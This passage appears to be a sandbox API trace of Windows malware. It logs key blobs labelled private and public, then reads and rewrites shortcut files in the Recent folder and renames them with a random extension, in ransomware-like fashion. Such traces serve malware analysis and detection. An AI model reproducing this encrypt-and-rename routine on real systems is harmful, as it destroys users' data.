KiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.438] GetCurrentThreadId () returned 0xa30 [0083.439] GetCurrentThreadId () returned 0xa30 [0083.439] GetCurrentThreadId () returned 0xa30 [0083.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.440] GetCurrentThreadId () returned 0xa30 [0083.440] GetCurrentThreadId () returned 0xa30 [0083.440] GetCurrentThreadId () returned 0xa30 [0083.440] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz5wZG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz5wzg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x426 [0083.440] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.440] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x426, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x426, lpOverlapped=0x0) returned 1 [0083.442] CloseHandle (hObject=0x124) returned 1 [0083.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz5wZG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz5wzg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.444] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x426, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x426, lpOverlapped=0x0) returned 1 [0083.446] CloseHandle (hObject=0x124) returned 1 [0083.447] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz5wZG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz5wzg.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz5wZG.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz5wzg.lnk.zv7un")) returned 1 [0083.449] GetCurrentThreadId () returned 0xa30 [0083.449] GetCurrentThreadId () returned 0xa30 [0083.449] GetCurrentThreadId () returned 0xa30 [0083.449] GetCurrentThreadId () returned 0xa30 [0083.449] GetCurrentThreadId () returned 0xa30 [0083.449] GetCurrentThreadId () returned 0xa30 [0083.449] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b605e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2b605e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2b605e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Si93WyJ4VkIM.lnk", cAlternateFileName="SI93WY~1.LNK")) returned 1 [0083.449] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.450] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Si93WyJ4VkIM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\si93wyj4vkim.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b605e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2b605e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2b605e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa4d)) returned 1 [0083.450] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Si93WyJ4VkIM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\si93wyj4vkim.lnk")) returned 0x20 [0083.450] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Si93WyJ4VkIM.lnk", dwFileAttributes=0x80) returned 1 [0083.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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